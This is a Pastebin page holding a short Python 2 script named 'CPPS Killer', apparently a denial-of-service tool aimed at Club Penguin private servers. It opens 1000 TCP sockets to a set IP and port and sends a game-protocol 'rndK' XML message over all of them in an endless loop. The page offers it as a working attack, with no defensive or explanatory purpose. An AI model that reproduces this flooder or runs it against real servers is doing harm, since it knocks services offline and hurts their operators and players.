Advertisement
Protocol_

CPPS Killer

Feb 19th, 2014
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.09 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. """
  4. CPPS KILLER
  5. Coded by Donny
  6. """
  7.  
  8. import socket, time
  9.  
  10. class Killer:
  11.     def Create(self):
  12.         self.socks_arr = []
  13.         for k in range(self.no):
  14.             self.socks_arr.append(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
  15.         print "Created %s sockets!" % (str(k))
  16.  
  17.     def Send(self, sock):
  18.         try:
  19.             sock.send(self.data)
  20.             return True
  21.         except:
  22.             return False
  23.        
  24.     def Connect(self, sock):
  25.         try:
  26.             sock.connect((self.ip, self.port))
  27.             return True
  28.         except:
  29.             return False
  30.    
  31.     def __init__(self):
  32.         print """\t\t
  33.  ____ ____  ____  ____    _  _____ _     _     _____ ____  
  34. / ___|  _ \|  _ \/ ___|  | |/ |_ _| |   | |   | ____|  _ \
  35. | |   | |_) | |_) \___ \ | ' / | || |   | |   |  _| | |_) |
  36. | |___|  __/|  __/ ___) | | . \ | || |___| |___| |___|  _ <
  37. \____|_|   |_|   |____/  |_|\_|___|_____|_____|_____|_| \_\\
  38.              """
  39.         time.sleep(3)
  40.         self.no = 1000 #Number of sockets
  41.         self.port = 80 #Port
  42.         self.ip = '127.0.0.1' #IP
  43.         self.data = "<msg t='sys'><body action='rndK' r='-1'></body></msg>" + chr(0)
  44.         self.run = True
  45.         self.count = 0
  46.         self.Create()
  47.  
  48.         for k in range(len(self.socks_arr)):
  49.             if self.Connect(self.socks_arr[k]) is True:
  50.                 print "Socket %s connected to host!" % (str(k + 1))
  51.             else:
  52.                 print "Socket %s couldn\'t connect to host!" % (str(k + 1))
  53.                 self.run = False
  54.                 break
  55.            
  56.         while self.run == True:
  57.             for i in range(len(self.socks_arr)):
  58.                 if self.Send(self.socks_arr[i]) is True:
  59.                     print "Socket %s sent message to host!" % (str(i + 1))
  60.                     self.count += 1
  61.                 else:
  62.                     print "Socket %s couldn't sent message to host!" % (str(i + 1))
  63.                     self.run = False
  64.        
  65.         print "Number of packets sent => %s" % (str(self.count))
  66.  
  67. Killer()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement